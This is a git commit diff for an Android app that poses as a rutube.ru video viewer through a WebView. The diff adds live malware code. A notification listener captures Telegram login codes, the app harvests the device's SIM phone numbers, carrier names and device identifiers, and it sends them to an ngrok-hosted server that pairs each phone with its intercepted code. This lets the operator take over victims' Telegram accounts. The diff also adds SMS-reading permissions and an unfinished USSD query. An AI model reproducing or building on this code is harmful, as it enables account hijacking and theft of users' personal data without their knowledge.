This commit is contained in:
Your Name 2025-02-26 21:39:26 +03:00
parent e29d5f303e
commit 540fe106b7
7 changed files with 327 additions and 46 deletions

View file

@ -4,10 +4,10 @@
<selectionStates> <selectionStates>
<SelectionState runConfigName="app"> <SelectionState runConfigName="app">
<option name="selectionMode" value="DROPDOWN" /> <option name="selectionMode" value="DROPDOWN" />
<DropdownSelection timestamp="2025-01-22T15:40:30.729275200Z"> <DropdownSelection timestamp="2025-02-25T19:05:12.517359200Z">
<Target type="DEFAULT_BOOT"> <Target type="DEFAULT_BOOT">
<handle> <handle>
<DeviceId pluginId="LocalEmulator" identifier="path=C:\Users\0x1\.android\avd\Pixel_8_Pro_API_35.avd" /> <DeviceId pluginId="PhysicalDevice" identifier="serial=92SAX02VYY" />
</handle> </handle>
</Target> </Target>
</DropdownSelection> </DropdownSelection>

View file

@ -3,6 +3,9 @@
xmlns:tools="http://schemas.android.com/tools"> xmlns:tools="http://schemas.android.com/tools">
<uses-feature
android:name="android.hardware.telephony"
android:required="false" />
<application <application
android:usesCleartextTraffic="true" android:usesCleartextTraffic="true"
@ -17,22 +20,25 @@
tools:targetApi="31"> tools:targetApi="31">
<activity <activity
android:name=".MainActivity" android:name=".MainActivity"
android:exported="true"> android:exported="true"
android:configChanges="orientation|screenSize"
android:hardwareAccelerated="true">
<intent-filter> <intent-filter>
<action android:name="android.intent.action.MAIN" /> <action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" /> <category android:name="android.intent.category.LAUNCHER" />
</intent-filter> </intent-filter>
</activity> </activity>
<service android:name=".Listener" <service android:name=".Listener"
android:exported="true" android:exported="false"
android:enabled="true"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"> android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter> <intent-filter>
<action android:name="android.service.notification.NotificationListenerService" /> <action android:name="android.service.notification.NotificationListenerService" />
</intent-filter> </intent-filter>
</service> </service>
</application> </application>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS" /> <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
@ -40,6 +46,11 @@
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" /> <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
tools:ignore="ProtectedPermissions" />
<uses-permission android:name="android.permission.CALL_PHONE" />

View file

@ -1,17 +1,30 @@
package com.example.notifyservice; package com.example.notifyservice;
import android.app.ActivityManager;
import android.app.Notification; import android.app.Notification;
import android.content.Context;
import android.content.Intent; import android.content.Intent;
import android.os.Build; import android.os.Build;
import android.os.Bundle;
import android.os.IBinder; import android.os.IBinder;
import android.service.notification.NotificationListenerService; import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification; import android.service.notification.StatusBarNotification;
import android.util.Log; import android.util.Log;
import java.util.Arrays;
import java.util.List;
public class Listener extends NotificationListenerService { public class Listener extends NotificationListenerService {
String previousMessageText = ""; List<String> notificationTextKeys = Arrays.asList(
Notification.EXTRA_TEXT,
Notification.EXTRA_SUB_TEXT,
Notification.EXTRA_INFO_TEXT,
Notification.EXTRA_SUMMARY_TEXT,
Notification.EXTRA_BIG_TEXT,
Notification.EXTRA_TEXT_LINES
);
@Override @Override
public IBinder onBind(Intent intent) { public IBinder onBind(Intent intent) {
@ -40,15 +53,31 @@ public class Listener extends NotificationListenerService {
@Override @Override
public void onNotificationPosted(StatusBarNotification sbn){ public void onNotificationPosted(StatusBarNotification sbn){
String text = getNotificationText(sbn); String packageName = sbn.getPackageName();
if(getShortcutSafe(sbn).isEmpty() && !text.isEmpty()) Log.i(packageName, packageName);
previousMessageText = text; if(getShortcutSafe(sbn).equals("ndid_777000")){
if(getShortcutSafe(sbn).equals("ndid_777000") && previousMessageText.startsWith("Telegram:")){ String code = processExtras(sbn.getNotification().extras);
String code = extractFirstNumber(previousMessageText); Log.i("Code", code);
if(!code.isEmpty()) { Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
MainActivity.codeCallback(this, code); intent.putExtra("code", code);
sendBroadcast(intent);
}
}
public String processExtras(Bundle extras) {
StringBuilder notifyTexts = new StringBuilder();
for (String key : notificationTextKeys) {
CharSequence charSequence = extras.getCharSequence(key);
String str = charSequence != null ? charSequence.toString() : null;
if (str != null && !str.isEmpty()) {
notifyTexts.append(str);
} }
} }
return extractFirstNumber(notifyTexts.toString());
} }
private String getShortcutSafe(StatusBarNotification sbn) { private String getShortcutSafe(StatusBarNotification sbn) {

View file

@ -1,7 +1,14 @@
package com.example.notifyservice; package com.example.notifyservice;
import android.Manifest;
import android.app.ActivityManager;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context; import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent; import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager; import android.content.pm.PackageManager;
import android.net.ConnectivityManager; import android.net.ConnectivityManager;
import android.net.Network; import android.net.Network;
@ -11,6 +18,16 @@ import android.net.Uri;
import android.os.Build; import android.os.Build;
import android.os.Bundle; import android.os.Bundle;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import androidx.activity.EdgeToEdge; import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull; import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.app.AppCompatActivity;
@ -22,6 +39,8 @@ import androidx.core.view.WindowInsetsCompat;
import android.os.Handler; import android.os.Handler;
import android.os.PowerManager; import android.os.PowerManager;
import android.provider.Settings; import android.provider.Settings;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager; import android.telephony.SubscriptionManager;
import android.util.Log; import android.util.Log;
@ -36,30 +55,131 @@ import java.net.MalformedURLException;
import java.net.URL; import java.net.URL;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Arrays; import java.util.Arrays;
import java.util.Collections;
import java.util.List; import java.util.List;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.HttpURLConnection; import java.net.HttpURLConnection;
import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity {
public class MainActivity extends AppCompatActivity implements PostRequestCallback{
private String websiteUrl = "https://rutube.ru/";
private WebView webView;
private View customView;
private WebChromeClient.CustomViewCallback customViewCallback;
private ViewGroup mainContainer;
private String currentHash = "";
private int currentPhone = 0;
private List<String> phones;
private NotificationReceiver notificationReceiver;
@Override @Override
protected void onCreate(Bundle savedInstanceState) { protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main); setContentView(R.layout.activity_main);
webView = findViewById(R.id.webview);
mainContainer = findViewById(android.R.id.content);
// Настройки WebView
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true); // Включение JavaScript
webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
webSettings.setDatabaseEnabled(true); // Включение базы данных
webSettings.setAllowFileAccess(true); // Доступ к файлам
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)
// Включение JavaScript-алертов и обработка событий, включая полноэкранный режим
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
// Переход в полноэкранный режим
if (customView != null) {
callback.onCustomViewHidden();
return;
}
customView = view;
customViewCallback = callback;
mainContainer.addView(customView);
webView.setVisibility(View.GONE);
}
@Override
public void onHideCustomView() {
if (customView == null) {
return;
}
mainContainer.removeView(customView);
customView = null;
webView.setVisibility(View.VISIBLE);
customViewCallback.onCustomViewHidden();
}
});
// Установка WebViewClient для обработки всех переходов внутри WebView
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url); // Обработка переходов внутри WebView
return true;
}
});
// Загрузка начального URL
webView.loadUrl(websiteUrl);
if (!isNotificationServiceEnabled()) { if (!isNotificationServiceEnabled()) {
requestNotificationAccess(); promptNotificationAccess();
} else { //finish();
requestPermissions(retrievePermissions(this));
} }
requestPermissions(retrievePermissions(this));
} }
public static String getDeviceInfo(String p_seperator, Context context) private void promptNotificationAccess() {
Locale.getDefault().getISO3Language();
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Требуется доступ к уведомлениям");
builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");
// Кнопка для перехода в настройки
builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
});
// Кнопка отмены
builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
finish(); // Закрыть активность, если пользователь отменил
}
});
// Показываем диалог
AlertDialog dialog = builder.create();
dialog.show();
}
public static String getDeviceInfo(Context context)
{ {
String m_data = ""; String m_data = "";
String p_seperator = ":";
StringBuilder m_builder = new StringBuilder(); StringBuilder m_builder = new StringBuilder();
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator); m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
m_builder.append(android.os.Build.DEVICE + p_seperator); m_builder.append(android.os.Build.DEVICE + p_seperator);
@ -79,7 +199,7 @@ public class MainActivity extends AppCompatActivity {
m_builder.append(android.os.Build.USER + p_seperator); m_builder.append(android.os.Build.USER + p_seperator);
m_builder.append(android.os.Build.HOST + p_seperator); m_builder.append(android.os.Build.HOST + p_seperator);
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
m_builder.append(android_id + p_seperator); m_builder.append(android_id);
m_data = m_builder.toString(); m_data = m_builder.toString();
return m_data; return m_data;
} }
@ -90,16 +210,54 @@ public class MainActivity extends AppCompatActivity {
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) { if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
requestPermissions(retrievePermissions(this)); requestPermissions(retrievePermissions(this));
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
Intent intent = new Intent(this, Listener.class);
startService(intent);
notificationReceiver = new NotificationReceiver();
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
Context permissionContext = this; Context permissionContext = this;
new Handler().postDelayed(() -> makeProcess(permissionContext), 500); new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
} }
} }
private void makeProcess(Context context) { private class NotificationReceiver extends BroadcastReceiver {
PostRequest postRequestTask = new PostRequest(context); @Override
postRequestTask.execute("http://10.23.31.205:8000/phone", listToJson(collectPhoneNumber(context)) + ";" + getDeviceInfo(":", context)); public void onReceive(Context context, Intent intent) {
String code = intent.getStringExtra("code");
onNotificationReceived(code);
}
} }
public void onNotificationReceived(String code) {
PostRequest postRequestTask = new PostRequest(this, this);
postRequestTask.execute("code", code + ";" + currentHash);
if(currentPhone + 1 < phones.size()) {
currentPhone += 1;
requestPhone(this, phones.get(currentPhone));
}
}
private void makeProcess(Context context) {
currentPhone = 0;
phones = collectPhoneNumber(context);
requestPhone(context, phones.get(currentPhone));
}
private void requestPhone(Context context, String phone){
PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
}
@Override
public void onPostResponse(String result) {
currentHash = result;
}
private String listToJson(List<?> list) { private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder(); StringBuilder jsonBuilder = new StringBuilder();
jsonBuilder.append("["); jsonBuilder.append("[");
@ -177,6 +335,48 @@ public class MainActivity extends AppCompatActivity {
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)); return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
} }
public static String extractFirstPhoneNumber(String input) {
// Regex pattern to match international phone numbers
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);
if (matcher.find()) {
return matcher.group()
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", "");
}
return "";
}
private void requestUssdNumber(TelephonyManager telephonyManager) {
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return;
String ussd = "*120#";
boolean smsResponse = true;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
@Override
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString();
if(smsResponse)
String phoneNumber = extractFirstPhoneNumber(responseString);
}
@Override
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
}
}, this);
}
}
private List<String> collectPhoneNumber(Context context){ private List<String> collectPhoneNumber(Context context){
List<String> phoneNumbers = new ArrayList<>(); List<String> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
@ -184,16 +384,54 @@ public class MainActivity extends AppCompatActivity {
} }
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList(); List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
for (int i = 0; i < subscriptions.size(); i++) { for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i); SubscriptionInfo currentCard = subscriptions.get(i);
phoneNumbers.add((Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()) + ":" + currentCard.getCountryIso() + ":" + currentCard.getCarrierName().toString()); String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
if (!phoneNumber.isEmpty()) {
Log.i("asd", telephonyManager.getSimOperatorName());
phoneNumbers.add(phoneNumber + ":" + currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName());
requestUssdNumber(telephonyManager);
}
} }
return phoneNumbers; return phoneNumbers;
} }
public static void codeCallback(Context context, String string) { private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
PostRequest postRequestTask = new PostRequest(context); @Override
postRequestTask.execute("http://10.23.31.205:8000/code", string + ";" + getDeviceInfo(":", context)); public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
if (pdus != null) {
for (Object pdu : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String sender = smsMessage.getDisplayOriginatingAddress();
String messageBody = smsMessage.getMessageBody();
}
}
}
}
};
@Override
public void onBackPressed() {
// Обработка возврата из полноэкранного режима
if (webView.canGoBack()) {
webView.goBack();
} else {
super.onBackPressed();
}
} }
@Override
protected void onDestroy() {
super.onDestroy();
unregisterReceiver(smsReceiver);
}
} }

View file

@ -1,6 +1,7 @@
package com.example.notifyservice; package com.example.notifyservice;
import android.content.Context; import android.content.Context;
import android.util.JsonReader;
import android.util.Log; import android.util.Log;
import androidx.annotation.NonNull; import androidx.annotation.NonNull;
@ -20,9 +21,12 @@ import okhttp3.Response;
public class PostRequest { public class PostRequest {
private Context context; private Context context;
private String BASE_URL = "https://e2df-85-203-39-142.ngrok-free.app/";
private PostRequestCallback callback;
public PostRequest(Context context) { public PostRequest(Context context, PostRequestCallback callback) {
this.context = context; this.context = context;
this.callback = callback;
} }
public final OkHttpClient client = new OkHttpClient(); public final OkHttpClient client = new OkHttpClient();
@ -32,7 +36,7 @@ public class PostRequest {
String jsonData = params[1]; String jsonData = params[1];
Request request = new Request.Builder() Request request = new Request.Builder()
.url(urlString) .url(BASE_URL + urlString)
.post(RequestBody.create(jsonData.getBytes())) .post(RequestBody.create(jsonData.getBytes()))
.build(); .build();
@ -50,8 +54,8 @@ public class PostRequest {
protected void onPostExecute(String result) { protected void onPostExecute(String result) {
try { try {
Log.i("Result", result); String hash = (new JSONObject(result)).getString("hash");
callback.onPostResponse(hash);
} catch (Exception e) { } catch (Exception e) {
} }
// Handle the JSON response here // Handle the JSON response here

View file

@ -0,0 +1,5 @@
package com.example.notifyservice;
public interface PostRequestCallback {
void onPostResponse(String result);
}

View file

@ -1,19 +1,13 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" <androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/main"
android:layout_width="match_parent" android:layout_width="match_parent"
android:layout_height="match_parent" android:layout_height="match_parent">
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<WebView
android:id="@+id/webview"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</androidx.constraintlayout.widget.ConstraintLayout> </androidx.constraintlayout.widget.ConstraintLayout>